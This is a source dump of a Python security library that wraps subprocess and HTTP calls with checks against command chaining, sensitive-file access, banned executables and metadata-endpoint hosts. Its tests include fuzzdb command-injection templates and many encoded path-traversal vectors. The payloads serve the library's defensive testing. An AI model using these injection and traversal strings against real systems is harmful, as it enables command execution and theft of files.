| 556 | def _resolve_executable_path( 557 | executable: Optional[str], venv: Optional[dict] = None 558 | ) -> Optional[Path]: 559 | """ 560 | Try to resolve the path of the executable using the which command and the system PATH. 561 | """ 562 | if executable: 563 | if executable_path_str := which( 564 | executable, path=venv.get("PATH") if venv is not None else None 565 | ): 566 | return Path(executable_path_str).resolve() 567 | 568 | # Explicitly check if the executable is in the system PATH or absolute when which fails 569 | for path in [""] + get_exec_path(env=venv if venv is not None else None): 570 | if ( 571 | executable_path := Path(path) / executable 572 | ).exists() and _path_is_executable(executable_path): 573 | return executable_path.resolve() 574 | 575 | return None 576 | 577 | 578 | def _resolve_paths_in_parsed_command( 579 | parsed_command: List[str], venv: Optional[dict] = None 580 | ) -> Tuple[Set[Path], Set[str]]: 581 | """ 582 | Create Path objects from the parsed commands and resolve symlinks then add to sets of unique Paths 583 | and absolute path strings for comparison with the sensitive files, common exploit executables and group/owner checks. 584 | """ 585 | 586 | abs_paths, abs_path_strings = set(), set() 587 | 588 | for cmd_part in parsed_command: 589 | 590 | if "~" in cmd_part: 591 | # Expand ~ and ~user constructions in the cmd_part 592 | cmd_part = expanduser(cmd_part) 593 | 594 | # Check if the cmd_part is an executable and resolve the path 595 | if executable_path := _resolve_executable_path(cmd_part, venv): 596 | abs_paths.add(executable_path) 597 | abs_path_strings.add(str(executable_path)) 598 | 599 | # Handle any globbing characters and repeating slashes from the command and resolve symlinks to get absolute path 600 | for path in iglob(cmd_part, recursive=True): 601 | actual_path = Path(path) 602 | 603 | # When its a symlink both the absolute path of the symlink 604 | # and the resolved path of its target are added to the sets 605 | if actual_path.is_symlink(): 606 | actual_path = actual_path.absolute() 607 | abs_paths.add(actual_path) 608 | abs_path_strings.add(path) 609 | 610 | abs_path = Path(path).resolve() 611 | abs_paths.add(abs_path) 612 | abs_path_strings.add(str(abs_path)) 613 | 614 | # Check if globbing and/or resolving symlinks returned an executable and add to the sets 615 | if executable_path := _resolve_executable_path(str(path), venv): 616 | abs_paths.add(executable_path) 617 | abs_path_strings.add(str(executable_path)) 618 | 619 | # Check if globbing and/or resolving symlinks returned a directory and add all files in the directory to the sets 620 | if abs_path.is_dir(): 621 | for file in abs_path.rglob("*"): 622 | file = file.resolve() 623 | abs_paths.add(file) 624 | abs_path_strings.add(str(file)) 625 | 626 | return abs_paths, abs_path_strings 627 | 628 | 629 | def check(command: ValidCommand, restrictions: ValidRestrictions, **kwargs) -> None: 630 | if not restrictions: 631 | # No restrictions no checks 632 | return None 633 | 634 | # venv is a copy to avoid modifying the original Popen kwargs or None to default to using os.environ when env is not set 635 | venv = dict(**Popen_env) if (Popen_env := kwargs.get("env")) is not None else None 636 | 637 | # Check if the executable is set by the Popen kwargs (either executable or shell) 638 | # Executable takes precedence over shell. see subprocess.py line 1593 639 | executable_path = _resolve_executable_path(kwargs.get("executable"), venv) 640 | shell = ( 641 | executable_path.name in COMMON_SHELLS 642 | if executable_path 643 | else kwargs.get("shell") 644 | ) 645 | 646 | expanded_command, parsed_command = _parse_command(command, venv, shell) 647 | if not parsed_command: 648 | # Empty commands are safe 649 | return None 650 | 651 | # If the executable is not set by the Popen kwargs it is the first command part (args). see subprocess.py line 1596 652 | if not executable_path: 653 | executable_path = _resolve_executable_path(parsed_command[0], venv) 654 | 655 | abs_paths, abs_path_strings = _resolve_paths_in_parsed_command(parsed_command, venv) 656 | 657 | if "PREVENT_COMMAND_CHAINING" in restrictions: 658 | check_multiple_commands(expanded_command, parsed_command) 659 | 660 | if "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES" in restrictions: 661 | check_sensitive_files(expanded_command, abs_path_strings) 662 | 663 | if "PREVENT_COMMON_EXPLOIT_EXECUTABLES" in restrictions: 664 | check_banned_executable(expanded_command, abs_path_strings) 665 | 666 | prevent_uncommon_path_types = "PREVENT_UNCOMMON_PATH_TYPES" in restrictions 667 | prevent_admin_owned_files = "PREVENT_ADMIN_OWNED_FILES" in restrictions 668 | 669 | for path in abs_paths: 670 | # to avoid blocking the executable itself since most are symlinks to the actual executable 671 | # and owned by root with group wheel or sudo 672 | if path == executable_path: 673 | continue 674 | 675 | if prevent_uncommon_path_types: 676 | check_path_type(path) 677 | 678 | if prevent_admin_owned_files: 679 | check_file_owner(path) 680 | check_file_group(path) 681 | 682 | 683 | def check_multiple_commands(expanded_command: str, parsed_command: List[str]) -> None: 684 | # Since shlex.split removes newlines from the command, it would not be present in the parsed_command and 685 | # must be checked for in the expanded command string 686 | if "\n" in expanded_command: 687 | raise SecurityException("Multiple commands not allowed. Newline found.") 688 | 689 | for cmd_part in parsed_command: 690 | if any( 691 | seperator in cmd_part for seperator in BANNED_COMMAND_CHAINING_SEPARATORS 692 | ): 693 | raise SecurityException("Multiple commands not allowed. Separators found.") 694 | 695 | if any( 696 | substitution_op in cmd_part 697 | for substitution_op in BANNED_COMMAND_AND_PROCESS_SUBSTITUTION_OPERATORS 698 | ): 699 | raise SecurityException( 700 | "Multiple commands not allowed. Process substitution operators found." 701 | ) 702 | 703 | if cmd_part.strip() in BANNED_COMMAND_CHAINING_EXECUTABLES | COMMON_SHELLS: 704 | raise SecurityException( 705 | f"Multiple commands not allowed. Executable {cmd_part} allows command chaining." 706 | ) 707 | 708 | 709 | def check_sensitive_files(expanded_command: str, abs_path_strings: Set[str]) -> None: 710 | for sensitive_path in SENSITIVE_FILE_PATHS: 711 | # First check the absolute path strings for the sensitive files 712 | # Then handle edge cases when a sensitive file is part of a command but the path could not be resolved 713 | if ( 714 | any( 715 | abs_path_string.endswith(sensitive_path) 716 | for abs_path_string in abs_path_strings 717 | ) 718 | or sensitive_path in expanded_command 719 | ): 720 | raise SecurityException( 721 | f"Disallowed access to sensitive file: {sensitive_path}" 722 | ) 723 | 724 | 725 | def check_banned_executable(expanded_command: str, abs_path_strings: Set[str]) -> None: 726 | for banned_executable in BANNED_EXECUTABLES: 727 | # First check the absolute path strings for the banned executables 728 | # Then handle edge cases when a banned executable is part of a command but the path could not be resolved 729 | if ( 730 | any( 731 | ( 732 | abs_path_string.endswith(f"/{banned_executable}") 733 | for abs_path_string in abs_path_strings 734 | ) 735 | ) 736 | or expanded_command.startswith(f"{banned_executable} ") 737 | or f"bin/{banned_executable}" in expanded_command 738 | or f" {banned_executable} " in expanded_command 739 | ): 740 | raise SecurityException(f"Disallowed command: {banned_executable}") 741 | 742 | 743 | def check_path_type(path: Path) -> None: 744 | for pathtype in BANNED_PATHTYPES: 745 | if getattr(path, f"is_{pathtype}")(): 746 | raise SecurityException( 747 | f"Disallowed access to path type {pathtype}: {path}" 748 | ) 749 | 750 | 751 | def check_file_owner(path: Path) -> None: 752 | owner = path.owner() 753 | if owner in BANNED_OWNERS: 754 | raise SecurityException(f"Disallowed access to file owned by {owner}: {path}") 755 | 756 | 757 | def check_file_group(path: Path) -> None: 758 | group = path.group() 759 | if group in BANNED_GROUPS: 760 | raise SecurityException(f"Disallowed access to file owned by {group}: {path}") 761 | -------------------------------------------------------------------------------- /src/security/safe_requests/__init__.py: -------------------------------------------------------------------------------- 1 | from .api import get, post, urlopen 2 | 3 | __all__ = ["get", "post", "urlopen"] 4 | -------------------------------------------------------------------------------- /src/security/safe_requests/api.py: -------------------------------------------------------------------------------- 1 | from urllib.parse import urlparse 2 | from urllib.request import urlopen as unsafe_urlopen 3 | 4 | from requests import get as unsafe_get 5 | from requests import post as unsafe_post 6 | 7 | from security.exceptions import SecurityException 8 | 9 | from .host_validators import DefaultHostValidator 10 | 11 | DEFAULT_PROTOCOLS = frozenset(("http", "https")) 12 | 13 | 14 | class UrlParser: 15 | def __init__(self, url): 16 | self.url = url 17 | self.parsed_url = urlparse(url) 18 | 19 | @property 20 | def protocol(self): 21 | return self.parsed_url.scheme 22 | 23 | @property 24 | def host(self): 25 | return self.parsed_url.netloc 26 | 27 | def check(self, allowed_protocols, host_validator): 28 | self._check_protocol(allowed_protocols) 29 | self._check_host(host_validator) 30 | 31 | def _check_protocol(self, allowed_protocols): 32 | if self.protocol not in allowed_protocols: 33 | raise SecurityException("Disallowed protocol: %s", self.protocol) 34 | 35 | def _check_host(self, host_validator): 36 | if not host_validator(self.host).is_allowed: 37 | raise SecurityException("Disallowed host: %s", self.host) 38 | 39 | 40 | def urlopen( 41 | url, 42 | data=None, 43 | timeout=None, 44 | *args, 45 | allowed_protocols=DEFAULT_PROTOCOLS, 46 | host_validator=DefaultHostValidator, 47 | **kwargs, 48 | ): 49 | UrlParser(url).check(allowed_protocols, host_validator) 50 | return unsafe_urlopen(url, data, timeout, *args, **kwargs) 51 | 52 | 53 | def get( 54 | url, 55 | params=None, 56 | allowed_protocols=DEFAULT_PROTOCOLS, 57 | host_validator=DefaultHostValidator, 58 | **kwargs, 59 | ): 60 | UrlParser(url).check(allowed_protocols, host_validator) 61 | return unsafe_get(url, params=params, **kwargs) 62 | 63 | 64 | def post( 65 | url, 66 | data=None, 67 | json=None, 68 | allowed_protocols=DEFAULT_PROTOCOLS, 69 | host_validator=DefaultHostValidator, 70 | **kwargs, 71 | ): 72 | UrlParser(url).check(allowed_protocols, host_validator) 73 | return unsafe_post(url, data=data, json=json, **kwargs) 74 | -------------------------------------------------------------------------------- /src/security/safe_requests/host_validators.py: -------------------------------------------------------------------------------- 1 | from abc import ABC, abstractmethod 2 | 3 | 4 | class BaseHostValidator(ABC): 5 | def __init__(self, host): 6 | self.host = host 7 | 8 | @property 9 | @abstractmethod 10 | def is_allowed(self): 11 | pass 12 | 13 | 14 | class DefaultHostValidator(BaseHostValidator): 15 | KNOWN_INFRASTRUCTURE_HOSTS = frozenset( 16 | ("192.168.1.1", "3232235777", "169.254.169.254", "2852039166") 17 | ) 18 | 19 | @property 20 | def is_allowed(self): 21 | return self.host not in self.KNOWN_INFRASTRUCTURE_HOSTS 22 | -------------------------------------------------------------------------------- /tests/conftest.py: -------------------------------------------------------------------------------- 1 | import mock 2 | import pytest 3 | 4 | 5 | @pytest.fixture(autouse=True, scope="module") 6 | def disable_external_requests(): 7 | """ 8 | Unit tests should not make external requests while testing requests. 9 | """ 10 | patch_request = mock.patch("requests.sessions.Session.request") 11 | patch_request.start() 12 | yield 13 | patch_request.stop() 14 | -------------------------------------------------------------------------------- /tests/safe_command/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pixee/python-security/a0759f114e25a52b962207aa2f9ff2056f810478/tests/safe_command/__init__.py -------------------------------------------------------------------------------- /tests/safe_command/fuzzdb/_copyright.txt: -------------------------------------------------------------------------------- 1 | Copyright (c) 2010-2019, Adam Muntner 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 5 | 6 | Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 7 | Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 8 | Neither the name of fuzzdb nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 9 | 10 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 11 | 12 | Licensed under Creative Commons - By Attribution 13 | 14 | see 15 | 16 | http://creativecommons.org/licenses/by/3.0/legalcode 17 | 18 | ---- 19 | 20 | contains dictionaries from Skipfish 21 | Copyright 2010 Michal Zalewski 22 | 23 | Licensed under the Apache License, Version 2.0 (the "License"); 24 | you may not use this file except in compliance with the License. 25 | You may obtain a copy of the License at 26 | 27 | http://www.apache.org/licenses/LICENSE-2.0 28 | 29 | Unless required by applicable law or agreed to in writing, software 30 | distributed under the License is distributed on an "AS IS" BASIS, 31 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 32 | See the License for the specific language governing permissions and 33 | limitations under the License. 34 | 35 | ---- 36 | 37 | The MIT License (MIT) 38 | 39 | Copyright (c) 2015 Max Woolf 40 | 41 | Permission is hereby granted, free of charge, to any person obtaining a copy 42 | of this software and associated documentation files (the "Software"), to deal 43 | in the Software without restriction, including without limitation the rights 44 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 45 | copies of the Software, and to permit persons to whom the Software is 46 | furnished to do so, subject to the following conditions: 47 | 48 | The above copyright notice and this permission notice shall be included in all 49 | copies or substantial portions of the Software. 50 | 51 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 52 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 53 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 54 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 55 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 56 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 57 | SOFTWARE. 58 | -------------------------------------------------------------------------------- /tests/safe_command/fuzzdb/command-injection-template.txt: -------------------------------------------------------------------------------- 1 | These test vectors were taken from the fuzzdb project under the terms of the license in _copyright.txt 2 | {cmd} 3 | ;{cmd} 4 | ;{cmd}; 5 | |{cmd} 6 | <{cmd}; 7 | <{cmd}\n 8 | &{cmd} 9 | &{cmd}& 10 | &&{cmd} 11 | &&{cmd}&& 12 | \n{cmd} 13 | \n{cmd}\n 14 | '{cmd}' 15 | `{cmd}` 16 | ;{cmd}| 17 | ;{cmd}/n 18 | |{cmd}; 19 | a);{cmd} 20 | a;{cmd} 21 | a);{cmd} 22 | a;{cmd}; 23 | a);{cmd}| 24 | FAIL||{cmd} 25 | CMD=$'{cmd}';$CMD 26 | ;CMD=$'{cmd}';$CMD 27 | ^CMD=$'{cmd}';$CMD 28 | |CMD=$'{cmd}';$CMD 29 | &CMD=$'{cmd}';$CMD 30 | &&CMD=$'{cmd}';$CMD 31 | FAIL||CMD=$'{cmd}';$CMD 32 | CMD=$\'{cmd}\';$CMD 33 | ;CMD=$\'{cmd}\';$CMD 34 | ^CMD=$\'{cmd}\';$CMD 35 | |CMD=$\'{cmd}\';$CMD 36 | &CMD=$\'{cmd}\';$CMD 37 | &&CMD=$\'{cmd}\';$CMD 38 | FAIL||CMD=$\'{cmd}\';$CMD 39 | CMD=$"{cmd}";$CMD 40 | ;CMD=$"{cmd}";$CMD 41 | ^CMD=$"{cmd}";$CMD 42 | |CMD=$"{cmd}";$CMD 43 | &CMD=$"{cmd}";$CMD 44 | &&CMD=$"{cmd}";$CMD 45 | FAIL||CMD=$"{cmd}";$CMD 46 | ;system('{cmd}') 47 | -------------------------------------------------------------------------------- /tests/safe_command/fuzzdb/traversals-8-deep-exotic-encoding.txt: -------------------------------------------------------------------------------- 1 | These test vectors were taken from the fuzzdb project under the terms of the license in _copyright.txt 2 | /0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE} 3 | /0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE} 4 | /0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE} 5 | /0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE} 6 | /0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE} 7 | /0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE} 8 | /0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE} 9 | /0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE} 10 | /0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE} 11 | /0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE} 12 | /0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE} 13 | /0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE} 14 | /0x2e0x2e/0x2e0x2e/{FILE} 15 | /0x2e0x2e\0x2e0x2e\{FILE} 16 | /0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE} 17 | /0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE} 18 | /0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE} 19 | /0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE} 20 | /0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE} 21 | /0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE} 22 | /0x2e0x2e0x2f0x2e0x2e0x2f{FILE} 23 | /0x2e0x2e0x2f{FILE} 24 | /0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE} 25 | /0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE} 26 | /0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE} 27 | /0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE} 28 | /0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE} 29 | /0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE} 30 | /0x2e0x2e0x5c0x2e0x2e0x5c{FILE} 31 | /0x2e0x2e0x5c{FILE} 32 | /0x2e0x2e/{FILE} 33 | /0x2e0x2e\{FILE} 34 | /..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE} 35 | /..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE} 36 | /..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE} 37 | /..0x2f..0x2f..0x2f..0x2f..0x2f{FILE} 38 | /..0x2f..0x2f..0x2f..0x2f{FILE} 39 | /..0x2f..0x2f..0x2f{FILE} 40 | /..0x2f..0x2f{FILE} 41 | /..0x2f{FILE} 42 | /..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE} 43 | /..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE} 44 | /..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE} 45 | /..0x5c..0x5c..0x5c..0x5c..0x5c{FILE} 46 | /..0x5c..0x5c..0x5c..0x5c{FILE} 47 | /..0x5c..0x5c..0x5c{FILE} 48 | /..0x5c..0x5c{FILE} 49 | /..0x5c{FILE} 50 | /%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE} 51 | /%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE} 52 | /%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE} 53 | /%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE} 54 | /%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE} 55 | /%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE} 56 | /%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE} 57 | /%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE} 58 | /%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE} 59 | /%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE} 60 | /%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE} 61 | /%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE} 62 | /%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE} 63 | /%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE} 64 | /%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE} 65 | /%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE} 66 | /%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE} 67 | /%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE} 68 | /%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE} 69 | /%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE} 70 | /%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE} 71 | /%25c0%25ae%25c0%25ae%25c0%25af{FILE} 72 | /%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE} 73 | /%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE} 74 | /%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE} 75 | /%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE} 76 | /%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE} 77 | /%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE} 78 | /%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE} 79 | /%25c0%25ae%25c0%25ae%25c1%259c{FILE} 80 | /%25c0%25ae%25c0%25ae/{FILE} 81 | /%25c0%25ae%25c0%25ae\{FILE} 82 | /..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE} 83 | /..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE} 84 | /..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE} 85 | /..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE} 86 | /..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE} 87 | /..%25c0%25af..%25c0%25af..%25c0%25af{FILE} 88 | /..%25c0%25af..%25c0%25af{FILE} 89 | /..%25c0%25af{FILE} 90 | /..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE} 91 | /..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE} 92 | /..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE} 93 | /..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE} 94 | /..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE} 95 | /..%25c1%259c..%25c1%259c..%25c1%259c{FILE} 96 | /..%25c1%259c..%25c1%259c{FILE} 97 | /..%25c1%259c{FILE} 98 | ////%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE} 99 | ////%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE} 100 | ////%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE} 101 | ////%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE} 102 | ////%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE} 103 | ////%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE} 104 | ////%2e%2e%2f%2e%2e%2f{FILE} 105 | ////%2e%2e%2f{FILE} 106 | /\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE} 107 | /\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE} 108 | /\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE} 109 | /\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE} 110 | /\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE} 111 | 